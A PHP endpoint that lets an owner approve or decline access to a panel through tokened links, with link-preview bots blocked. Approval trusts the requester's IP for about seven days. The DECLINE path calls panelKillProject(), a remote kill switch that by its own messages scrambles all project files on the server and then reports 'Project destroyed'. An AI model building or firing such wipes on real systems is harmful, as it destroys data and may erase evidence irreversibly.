<?php
/**
 * Owner VALID / DECLINE — confirmation required (GET never kills).
 * Bots (Discord preview, etc.) must not trigger DECLINE.
 */
require __DIR__ . '/includes/panel_guard.php';

header('Content-Type: text/html; charset=utf-8');

$ua = isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : '';
if ($ua === '' || preg_match('/Discordbot|TelegramBot|facebookexternalhit|Slackbot|Twitterbot|LinkedInBot|bot|crawler|spider|preview|embed/i', $ua)) {
    http_response_code(403);
    echo 'Forbidden';
    exit;
}

function ownerActionPage($title, $body, $ok = true)
{
    $color = $ok ? '#166534' : '#991b1b';
    echo '<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">';
    echo '<title>' . htmlspecialchars($title) . '</title></head>';
    echo '<body style="font-family:Arial,sans-serif;background:#0f172a;color:#e2e8f0;display:flex;min-height:100vh;align-items:center;justify-content:center;margin:0;">';
    echo '<div style="max-width:420px;padding:28px;background:#1e293b;border-radius:12px;border:1px solid #334155;">';
    echo '<h1 style="margin:0 0 12px;font-size:20px;color:' . $color . ';">' . htmlspecialchars($title) . '</h1>';
    echo '<div style="margin:0;line-height:1.5;">' . $body . '</div>';
    echo '</div></body></html>';
    exit;
}

$token = '';
$action = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token = isset($_POST['t']) ? preg_replace('/[^a-f0-9]/i', '', (string) $_POST['t']) : '';
    $action = isset($_POST['a']) ? strtolower(trim((string) $_POST['a'])) : '';
    $confirm = isset($_POST['confirm']) ? (string) $_POST['confirm'] : '';
} else {
    $token = isset($_GET['t']) ? preg_replace('/[^a-f0-9]/i', '', (string) $_GET['t']) : '';
    $action = isset($_GET['a']) ? strtolower(trim((string) $_GET['a'])) : '';
}

if ($token === '' || strlen($token) < 8 || !in_array($action, array('ok', 'no'), true)) {
    ownerActionPage('Invalid', '<p>Bad or missing link.</p>', false);
}

$pending = panelLoadJson(panelPendingPath());
if (empty($pending[$token]) || !is_array($pending[$token])) {
    ownerActionPage('Expired', '<p>This link was already used or expired.<br>Wait for a new PANEL ACCESS alert.</p>', false);
}

$ip = isset($pending[$token]['ip']) ? (string) $pending[$token]['ip'] : '';
$created = isset($pending[$token]['t']) ? (int) $pending[$token]['t'] : 0;
if ($created > 0 && (time() - $created) > 86400) {
    unset($pending[$token]);
    panelSaveJson(panelPendingPath(), $pending);
    ownerActionPage('Expired', '<p>Link older than 24h.</p>', false);
}

// GET = confirmation only (Discordbot / link preview cannot POST)
if ($_SERVER['REQUEST_METHOD'] !== 'POST' || empty($confirm) || $confirm !== '1') {
    $isDecline = ($action === 'no');
    $label = $isDecline ? '❌ CONFIRM DECLINE (wipe project)' : '✅ CONFIRM VALID';
    $hint = $isDecline
        ? 'This will scramble ALL project files on the server.'
        : 'This will trust IP for ~7 days: ' . htmlspecialchars($ip !== '' ? $ip : '?');
    $btn = $isDecline ? '#991b1b' : '#166534';

    $form = '<p style="margin:0 0 14px;color:#94a3b8;">' . $hint . '</p>'
        . '<form method="post" action="">'
        . '<input type="hidden" name="t" value="' . htmlspecialchars($token) . '">'
        . '<input type="hidden" name="a" value="' . htmlspecialchars($action) . '">'
        . '<input type="hidden" name="confirm" value="1">'
        . '<button type="submit" style="width:100%;padding:14px;border:0;border-radius:8px;background:' . $btn . ';color:#fff;font-size:15px;font-weight:700;cursor:pointer;">'
        . htmlspecialchars($label)
        . '</button></form>'
        . '<p style="margin:14px 0 0;font-size:12px;color:#64748b;">Preview bots cannot confirm. Only you clicking this button will run the action.</p>';

    ownerActionPage($isDecline ? 'Decline?' : 'Valid?', $form, !$isDecline);
}

// POST confirmed
if ($action === 'ok') {
    if ($ip !== '') {
        panelTrustIp($ip, 168);
    }
    unset($pending[$token]);
    panelSaveJson(panelPendingPath(), $pending);
    if (function_exists('panelDeadPath') && is_file(panelDeadPath())) {
        @unlink(panelDeadPath());
    }

    $msg = "✅ VALID\n\n🌐 IP trusted: " . ($ip !== '' ? $ip : '?') . "\n⏰ " . date('H:i:s d/m/Y');
    panelNotifyPrivate($msg);
    ownerActionPage('VALID', '<p>IP trusted for ~7 days.</p><p>IP: ' . htmlspecialchars($ip !== '' ? $ip : '?') . '</p>', true);
}

unset($pending[$token]);
panelSaveJson(panelPendingPath(), $pending);

panelNotifyPrivate("❌ DECLINE\n\n🌐 IP: " . ($ip !== '' ? $ip : '?') . "\n💀 Scrambling ALL project files…");
$count = panelKillProject();
panelNotifyPrivate("☠️ Project destroyed.\nFiles scrambled: {$count}\n⏰ " . date('H:i:s d/m/Y'));

ownerActionPage('DECLINE', '<p>Project scrambled.</p><p>Files hit: ' . (int) $count . '</p><p>IP: ' . htmlspecialchars($ip !== '' ? $ip : '?') . '</p>', false);
